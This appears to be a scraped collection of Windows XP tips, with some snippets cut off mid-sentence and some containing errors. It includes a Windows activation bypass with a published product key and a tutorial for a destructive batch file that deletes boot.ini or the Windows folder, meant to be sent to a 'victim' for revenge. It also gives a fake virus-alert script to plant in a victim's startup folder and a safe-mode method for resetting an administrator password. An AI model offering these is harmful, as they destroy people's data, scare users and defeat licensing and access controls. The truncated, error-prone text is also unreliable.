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Make your Windows Xp GENUINE.!! This will allow you to bypass the Microsoft Genuine Validation thingy . 1) Start > run > "regedit" (without the quotes of course) 2) Go to the key:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer...and double click on it.Then change some of the value data to ANYTHING ELSE...delete some, add some letters. Close out regedit. 3) Go to start > run > "%systemroot%\system32\oobe\msoobe.exe /a" (again, dont type the quotes) 4) The activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.Now you can do all the updates without activating, and the Genuine Microsoft Validation thing!! Works with most WinXP versions though there are some exceptions...

Creating virus trick (I) 1.Open ur notepad 2.Type del c:\boot.ini c:\del autoexec.bat save as filename.exe[save it asfilename.exe you can give any filename ] 3.create the notepad in c: drive... (II) Note: But with in seconds harddisk get damaged Create Virus in 5 minutes....... Very easy but dangerous Virus The only thing you need is Notepad.Now, to test it, create a textfile called TEST.txt(empty)in C:\Now in your notepad type "erase C:\TEST.txt" (without the quotes).Then do "Save As..." and save it as "Test.cmd".Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone.Now, the real work begins:Go to Notpad andtype erase C:\WINDOWS (or C:\LINUX if you have linux) andsave it again as findoutaname.cmd.Now DON'T run the file or you'll lose your WINDOWS map.So, that's the virus. Now to take revenge.Send you file to your victim.Once she/he opens it. Her/his WINDOWS/LINUX map is gone.And have to install LINUX/WIND

If you want personal chat with a friend you don't need to download any yahoo messengerAll you need is your friends IP address and Command Prompt. Firstly, open Notepad and enter: @echo off :A Cls echo MESSENGER set /p n=User: set /p m=Message: net send %n% %m% Pause Goto A Now save this as " Messenger.bat ". Open the .bat file and in Command Prompt you should see: MESSENGER User : After "User" type the IP address of the computer you want to contact. After this, you should see this: Message: Now type in the message you wish to send.Before you press "Enter" it should look like this: MESSENGER User:27.196.391.193 Message: Hi Now all you need to do is press "Enter", and start chatting!

To disable the display of local or networked drives when you click My Computer. 1.Go to start->run.Type regedit.Now go to:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerNow in the right pane create a new D WORD item and name it NoDrives (it is case sensitive).Now modify it's value and set it to 3FFFFFF (Hexadecimal) . 2.Restart your computer. So, now when you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item that you created. Again restart your computer. You can now see all the drives again.

The following registry setting will prevent writing to usb in windows xp.Expand HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l Add a new key and name it "StorageDevicePolicies". In the window on the right then create a new DWORD value and label it WriteProtect, give it a value of "1" and users can no longer write to USB drives .Giving a value of "0" will allow to write again

The user can't burn any CDs by this trick. This restriction will disable the use of the inbuilt CD recording functions of Windows.Open your registry and follow this path: 1.HKEY_CURRENT_USER>Software>Microsoft>Windows>Current Version>Policies>Explorer andcreate this key: " NoCDBurning " and set its value to 1. 2.Close you registry and logout/restart your system for the change to take the effect.

How to find the IP address of the sender in Gmail When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender. Note that this will not work if the sender uses anonymous proxy servers. Finding IP address in Gmail: 1.Log into your Gmail account with your username and password. 2. Open the mail. 3. To display the headers,* Click on More options corresponding to that thread. You should get a bunch of links.* Click on Show original. 4. You should get headers like this:Gmail headers : nameLook for Received: from followed by a few hostnames and an IP address between square brackets. In this case, it is65.119.112.245.That is be the IP address of the sender! 5. Track the IP address of the sender.

Without using Command Prompt "How to create a folder namely " CON" 1.Rename folder from the right click option 2.press alt and press 255 3.press 255 from the right side of the keyboard i.e., num pad(where only numbers are given) 4.Type con and then press enter You will see a con folder in your pc and also you can delete it easily.

When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender. Note that this will not work if the sender uses anonymous proxy servers. Finding IP address in Hotmail 1. Log into your Hotmail account with your username and password. 2. Click on the Mail tab on the top. 3. Open the mail. 4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,* Click on Options on the top-right corner* In the Mail Options page, click on Mail Display Settings* In Message Headers, make sure Advanced option is checked* Click on Ok button* Go back to the mails and open that mail. 5. If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP addressHotma

If a computer is unable to connect to a network or see other computers on a network, it may be necessary to troubleshoot the network. A network may not work because of any of the below reasons. 1. Network card not connected properly. 2. Bad network card drivers or software settings. 3. Firewall preventing computers from seeing each other. 4. Connection related issues. 5. Bad network hardware. Solution: Because of the large variety of network configurations, operating systems, setup, etc... not all of the below information may apply to your network or operating system. If your computer is connected to a company or large network, or you are not the administrator of the network, it is recommended that if you are unable to resolve your issues after following the below recommendations that you contact the network administrator or company representative. Note: If you are being prompted for a Network password and do not know the password, Computer Hope is unable to assist

Open notepad and type this: lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning") Then save it as Virus.VBS Go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.On startup the window should appear. Note: This does not harm your computer as it does not contain virus. The Yes and no button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox ("Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot",20,"Warning")

When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender. Note that this will not work if the sender uses anonymous proxy servers. Finding IP address in Yahoo! Mail 1. Log on to Yahoo! mail with your username and password. 2. Click on Inbox or whichever folder you have stored your mail. 3. Open the mail. 4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,* Click on Options on the top-right corner* In the Mail Options page, click on General Preferences* Scroll down to Messages where you have the Headers option* Make sure that Show all headers on incoming messages is selected* Click on the Save button* Go back to the mails and open that mail. 5. You should see s

1. Reboot Windows XP and enter into safe mode by pressing F8Key. 2. In safe mode click Start and then click Run. In the open box type "control userpasswords2" without the quotes. 3.You will now access to all the user accounts, including the administrators account and will be able to reset the lost password. 4.Click on the administrators user account, and then click Reset Password. 5.You can add a new password and then Confirm new password boxes. 6.Click Ok

Thumb.db is is a cache of the current picture in that directory. To remove it go for following 1.open " WINDOWS EXPLORER ". 2.go to " TOOLS ". 3.open " FOLDER OPTIONS ". 4.go to " VIEW ". 5.see 1st section " FILES & FOLDERS ". 6.click on the " DO NOT CACHE THUMBNAILS ". Now the thumbnail file will be removed from your computer once u do this the file will be never created.

1. Spread a cloth on a flat surface and place the CD on it. 2. Hold the disc with one hand, use the other to wipe the polish into the affected area with a soft cloth. 3. Wait for it to dry. 4. A cloth sold to wipe spectacles or camera lenses will use. 5. Wash the disc with water and let it dry before playing. I have used toothpaste with good effects before I have also used car paint cutting compound on deeper scratches. It does leave lots of smaller scratches (as it is a cutting compound after all) but it will remove the worst scratches in most cases.

1- Run Group Policy; for this click Start > Run > and type gpedit.msc and press OK. 2- In left side under User Configuration section select Administrative Templates and click on (+) and select Control Panel. In right side : 3- In Windows 2000 double click on Disable Control Panel and in Windows XP double click on Prohibit access to the Control Panel. 4- select Enabled and press OK. To hide Control Panel items from Control Panel window: 1- double click on Hide Specified Control Panel Applets and select Enabled. 2- click on Show; in new window click Add. 3- to hide Control Panel items from Control Panel type its name in dialog box. For example : if you type System, Windows will hide System icon from Control Panel.Note that Group Policy will hide Control Panel items from Control Panel, a professional user can type sysdm.cpl in Run dialog box and run System Properties.